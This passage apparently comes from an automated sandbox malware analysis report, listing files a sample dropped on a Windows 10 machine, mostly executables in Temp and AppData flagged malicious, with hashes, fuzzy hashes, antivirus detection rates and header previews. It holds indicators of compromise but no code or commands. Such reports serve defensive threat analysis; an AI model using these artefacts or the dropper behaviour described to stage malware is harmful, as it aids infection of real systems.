SHA-512: 974B49C5473A48E4C7A131ACE06C61BF652E1A27541FE45EB5E10ABB69CE598D2F28D1650E88972DB839B44C0C132F86D1A1C256C2B00F3D655FACB0654979AF

Malicious: false

Reputation: unknown

Preview:
..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.
<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.
<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.
A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.5.6.4.<./.P.i.
d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE144.tmp.csv
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 56026

Entropy (8bit): 3.059244261835531

Encrypted: false

SSDEEP: 1536:Q/pH/8fRyJ22h4IFHhZbrgPYNm127oaRmbbM+:Q/pH/8fRyJ22h4IFHhZbrgPYNmM7oaRQ

MD5: FB26BCDE61A626905CECDA78453ED955

SHA1: 7CE71443F605A5679D53BEE802192805FC2A8FAC

SHA-256: 70937C990E9622047C9B2B32DF6103999D987BC6FDF26D4B849E29E5305EB6F7

SHA-512: A5C4BBBDE99311104E8C5378ACB16590FA9C5BDAE7F2A42DE82DB9E6D964E09EDBE9BDC63EDAF94A176F1E0AC26FC890F170680975B55BC7B679BE3E807F6
C50

Malicious: false

Reputation: unknown

Preview:
I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.
i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.
a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.
t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.
n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE278.tmp.xml
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4685

Entropy (8bit): 4.474476502877913

Encrypted: false

SSDEEP: 48:cvIwSD8zssJgtWI9AWWSC8Bo8fm8M4J18qFiXXP+q8vn8JUYusYd:uITfqn3SNTJIPKWU1sYd

MD5: 92F25B1E408A9C0FD7DEE875ED6F3F3B
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SHA1: 817C3576B40F6069D60B56E56CAAB834847C23CD

SHA-256: 469AA51306678B75775FAA90DB6FA74C875587AA2DCD589024053EEA8B607C40

SHA-512: D774FF1E96D36ED62CE81D929C061E2ABBA2F144F94577E006513A383E3D68F2DCDEA61C5798F26BD2A39AA142C92931FBE24E42DA68A1ACE5476D3BAD95692
C

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">..  <tlm>..    <src>..      <desc>..        <mach>..          <os>..            <arg nm="vermaj" val="10" 
/>..            <arg nm="vermin" val="0" />..            <arg nm="verbld" val="17134" />..            <arg nm="vercsdbld" val="1" />..            <arg nm="verqfe" val="1" />..            
<arg nm="csdbld" val="1" />..            <arg nm="versp" val="0" />..            <arg nm="arch" val="9" />..            <arg nm="lcid" val="1033" />..            <arg nm="geoid" 
val="244" />..            <arg nm="sku" val="48" />..            <arg nm="domain" val="0" />..            <arg nm="prodsuite" val="256" />..            <arg nm="ntprodtype" val="1" 
/>..            <arg nm="platid" val="2" />..            <arg nm="tmsi" val="1342413" />..            <arg nm="osinsty" val="1" />..            <arg nm="iever" val="11.1.17134.0-
11.0.47" />..            <arg nm="portos" val="0" />..            <arg nm="ram" val="4096" />..     

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE278.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE905.tmp.txt
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 13340

Entropy (8bit): 2.695636258099525

Encrypted: false

SSDEEP: 96:9GiZYWVokpa0DrjnYHYd2UWCZHZYEZwutPiIFLLOwUSoavTB/T6IWK3:9jZDVowfnwtPbavTB/TtWK3

MD5: 00807BE6D482A1993AC32B5919B4AB9E

SHA1: 6CA9657FE557D7832191E3DC542B0D9560C0BD3B

SHA-256: 47118E9041BFB86378F41E1E0EE939A2074761F8F5A124A42316FF59B9572FC5

SHA-512: 73EB91BD46D2DAE5B3A6A7B8244B9EAC5B7DC9D61FC14B4932CC9FF86AAB7B7FF63B7260A0657C54AAFFB8836EEB0E2AB2DAC8D2D661462E3730750362C651
8A

Malicious: false

Reputation: unknown

Preview:
B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.
m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.
....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . 
.6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . 
.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\E09C.exe.log
Process: C:\Users\user\AppData\Local\Temp\E09C.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 700

Entropy (8bit): 5.346524082657112

Encrypted: false

SSDEEP: 12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv

MD5: 65CF801545098D915A06D8318D296A01

SHA1: 456149D5142C75C4CF74D4A11FF400F68315EBD0

SHA-256: 32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F

SHA-512: 4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552
D

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\52A0.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 905216

Entropy (8bit): 7.399713113456654

Encrypted: false

SSDEEP: 12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp

MD5: 852D86F5BC34BF4AF7FA89C60569DF13

SHA1: C961CCD088A7D928613B6DF900814789694BE0AE

SHA-256: 2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
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SHA-512: B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC
7

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 34%, Browse
Antivirus: ReversingLabs, Detection: 77%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._.
................ ...2.......0.......0....@..........................P|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text..........
.. .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@...............................................................................................
.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\52A0.exe

C:\Users\user\AppData\Local\Temp\6687.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 373760

Entropy (8bit): 6.990411328206368

Encrypted: false

SSDEEP: 6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW

MD5: 8B239554FE346656C8EEF9484CE8092F

SHA1: D6A96BE7A61328D7C25D7585807213DD24E0694C

SHA-256: F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489

SHA-512: CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427
D

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 29%, Browse
Antivirus: ReversingLabs, Detection: 81%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(.....
......PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8.......................
.....text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......|..................
@..@.reloc..4F...0...H...l..............@..B..............................................................................................................................................................................................................
..................................................

C:\Users\user\AppData\Local\Temp\74E0.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 356864

Entropy (8bit): 7.848593493266229

Encrypted: false

SSDEEP: 6144:v5aWbksiNTBiNg5/dEQECtD2YajndnU4aomwStqUJE0ra7yswH:v5atNTMNg5eQX2BdUcDStq+J4bwH

MD5: 6E7430832C1C24C2BF8BE746F2FE583C

SHA1: 158936951114B6A76D665935AD34F6581556FCDF

SHA-256: 972D533E4DF0786799C0E7C914AA6C04870753C10757C5D58CD874B92A7F4739

SHA-512: 79289323C1104F7483FAC9BF2BCAB5B3804C8F2315C8EDEA9D7C83C8B68B64473122F9B38627169D64A35A960A5F74A3364159CA9CB37B0A2B1BA1B41607A8C8

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.....................................
....................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0
...4..................@..@.data........p.......J..............@....rsrc................\..............@..@................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..........

C:\Users\user\AppData\Local\Temp\8E93.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3576320

Entropy (8bit): 7.9976863291960605

Encrypted: true

SSDEEP: 49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA

MD5: 5800952B83AECEFC3AA06CCB5B29A4C2
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SHA1: DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8

SHA-256: B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674

SHA-512: 2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.
....................................|.N. .... M...................................................................................................................... ..........................@................0......................@................@
...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....ada
ta.......pS.......6.............@...................................................................................................................................................................................................................................
........................................

C:\Users\user\AppData\Local\Temp\8E93.exe

C:\Users\user\AppData\Local\Temp\8F12.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 301056

Entropy (8bit): 5.192330972647351

Encrypted: false

SSDEEP: 3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG

MD5: 277680BD3182EB0940BC356FF4712BEF

SHA1: 5995AE9D0247036CC6D3EA741E7504C913F1FB76

SHA-256: F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570

SHA-512: 0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0
ECB

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 46%, Browse
Antivirus: ReversingLabs, Detection: 77%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.
hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@...........
.0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@......................................
..............................................................................................................................................................................................................................................................................
............................................................

C:\Users\user\AppData\Local\Temp\9991.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 905216

Entropy (8bit): 7.399713113456654

Encrypted: false

SSDEEP: 12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp

MD5: 852D86F5BC34BF4AF7FA89C60569DF13

SHA1: C961CCD088A7D928613B6DF900814789694BE0AE

SHA-256: 2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F

SHA-512: B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC
7

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 34%, Browse
Antivirus: ReversingLabs, Detection: 77%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._.
................ ...2.......0.......0....@..........................P|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text..........
.. .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@...............................................................................................
.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A5E6.exe

Process: C:\Windows\explorer.exe

File Type: MS-DOS executable

Category: dropped

Size (bytes): 557664

Entropy (8bit): 7.687250283474463

Encrypted: false

Copyright Joe Security LLC 2022 Page 22 of 119
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SSDEEP: 12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9

MD5: 6ADB5470086099B9169109333FADAB86

SHA1: 87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619

SHA-256: B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4

SHA-512: D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDD
CD

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 50%

Reputation: unknown

Preview:
MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..........................................................................................................................................................................................
....PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P).........................................................................................................
..idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@..................................................................................
...................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\A5E6.exe

C:\Users\user\AppData\Local\Temp\ADC7.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 323072

Entropy (8bit): 6.715654310492716

Encrypted: false

SSDEEP: 6144:LDKNqNHeJZentJavqabB5guxMOgOC9nfpL6P9KJ:LDRNHWsJdKDgXOgOYfpQU

MD5: E1AF41681888A847863EE17BD63450A0

SHA1: E03508E1D39121DD0263C5A734C1C6ED0E266AC1

SHA-256: AEED1BF32DF36AD3CCC929987DBD30E2B1836C267223614D3648B3027E23E1FE

SHA-512: 1E4F8699884B43B06020469AE6BBE94F3744075595DE9EFAF868DD7AB5FB40DE89CF5CADA3E9EA6033F3316D09EA4B9B79837E6C9AD8742436C07FF1B86E65B
1

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 44%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R...............
..PE..L....V._............................@.............@.........................................................................t...(.......................................................................@...............D...........................
.text............................... ..`.data...............................@....sutala.............................@....buve...............................@....bobe...............................@....rsrc................"........
......@..@.reloc..bF.......H..................@..B........................................................................................................................................................................................................
................................................

C:\Users\user\AppData\Local\Temp\B299.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 356864

Entropy (8bit): 7.8500958922173165

Encrypted: false

SSDEEP: 6144:P5aWbksiNTBQlCuchwPuVbIn97yYUdL6TVrp/LbU7LY6TzeWJwN:P5atNTqlCl84wJyYUpUrLbU9SWJwN

MD5: FEB8ADD569247306CB0271C907607238

SHA1: BB9353D602A82FF174AFE7574F4AFD6009E2A8B0

SHA-256: E7587776ADECF859E137E7AF3DA4B9B6FD9428E6F89CC48D3A63886D490BAACA

SHA-512: 6F650A1D44A11B2205E59DC915E244AC43988C7AC32972280CC5C5CA1ED668B683C2B06F61AEF8D2E91CE1C83FC4E0788207023B6CA81372ACDB4935F0402689

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.....................................
....................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0
...4..................@..@.data........p.......J..............@....rsrc................\..............@..@................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..........

C:\Users\user\AppData\Local\Temp\D08E.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 320000

Entropy (8bit): 6.689874466366023

Encrypted: false
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SSDEEP: 6144:rwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKl:rUZfgTKH014UBqhEAg4fHe

MD5: E4B33586BFDB5A9CD45F3038B8F4CCBD

SHA1: D9E825FCAB71C80BA1515BEDB40030840837D1B4

SHA-256: 3BB8EF6EAEC03C54C6C517000575EF943577CA0A71E61FD29257786991306133

SHA-512: 3A648A9F056588502191E531AF5BC19E57B802C5B6DB71DA9F6C9CACD4715726E0058D04C5597329338E930AED6B2A5FFD736C779F36CABCB8CAF6D509AEBE7
B

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R...............
..PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................
text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc..........................
.....@..@.reloc..XF.......H..................@..B.........................................................................................................................................................................................................
...............................................

C:\Users\user\AppData\Local\Temp\D08E.exe

C:\Users\user\AppData\Local\Temp\E09C.exe

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: modified

Size (bytes): 537088

Entropy (8bit): 5.840438491186833

Encrypted: false

SSDEEP: 12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY

MD5: D7DF01D8158BFADDC8BA48390E52F355

SHA1: 7B885368AA9459CE6E88D70F48C2225352FAB6EF

SHA-256: 4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E

SHA-512: 63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y*...............0..*...........I... ...`....@.. ..................................
..@.................................`I..K....`............................................................................... ............... ..H............text....)... ...*.................. ..`.rsrc........`.......,..............@....reloc........
.......0..............@..B.................I......H............?..........hX..}............................................(....*..0..,.......(d...8....*.~....u....s....z&8.........8........................*.......*....(d...(....*...j*.....
..*.......*.......*.......*....(....*.~(....(^...8....*(.........8........*.......*.......*.......*.......*....0.............*.0.............*....*.......*.......*....(....*..0.............*....*....0.............*.(....z.A.........z.A...............
........*.......*.......*.......*.......

C:\Users\user\AppData\Local\Temp\lsjsgslc.exe

Process: C:\Users\user\AppData\Local\Temp\D08E.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 11710976

Entropy (8bit): 3.805991215681365

Encrypted: false

SSDEEP: 6144:dwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKlClClClClClClClClClClClc:dUZfgTKH014UBqhEAg4fHe

MD5: 12C7D1AC6B5167E6CDA092CD7B7313A1

SHA1: CE30468D8ED2F2ECCA324513633F2A9F58188240

SHA-256: E91644F9CFFB58E260FACF0CB5ABD35F9B0DA2E5129803A6D4E7B8802814D752

SHA-512: CD24216ABBC1D492652342FA97CBBD9085158FE2102D56265B99E90D47251363FED3B224A0E8DC5A5A352425538B522CBDF7E22FCF160D6207574786790039BC

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R...............
..PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................
text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc..........................
.....@..@.reloc..XF..........................@..B.........................................................................................................................................................................................................
...............................................

C:\Users\user\AppData\Roaming\bahuseh

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 320000

Entropy (8bit): 6.693981664711585

Encrypted: false
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SSDEEP: 6144:KX8UTbAX4bIFeFTQa8JyvMzseCbR+gtS+F4KOlBLN:KXI42oQHmisXR+gtn4K

MD5: 8ABE3174CFD23ABB63418DFA64109C7C

SHA1: 6370245AC968E309D2916AC9D999797A479B77E4

SHA-256: 93FDDB1A745FEC7AE8BC3A7F8D66CE73B1841998E9B0589790E924FF6EFB6A05

SHA-512: 47C7D676104310D66CBDD3A134803991901F0E9E457589A9C5AE9685942812095E2B4911DFCB7B7BAD606DFFC649B9EBF05EE8FCEDD8E3237AE0D46220FEE043

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R...............
..PE..L...-.@_............................ .............@........................................................................T...(.......................................................................@...............D............................
text............................... ..`.data...............................@....wec................................@....kaceke.............................@....yediwu.............................@....rsrc..........................
.....@..@.reloc..XF.......H..................@..B.........................................................................................................................................................................................................
...............................................

C:\Users\user\AppData\Roaming\bahuseh

C:\Users\user\AppData\Roaming\bahuseh:Zone.Identifier

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYV:rPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E

Malicious: true

Reputation: unknown

Preview:
[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Process: C:\Windows\System32\svchost.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 55

Entropy (8bit): 4.306461250274409

Encrypted: false

SSDEEP: 3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y

MD5: DCA83F08D448911A14C22EBCACC5AD57

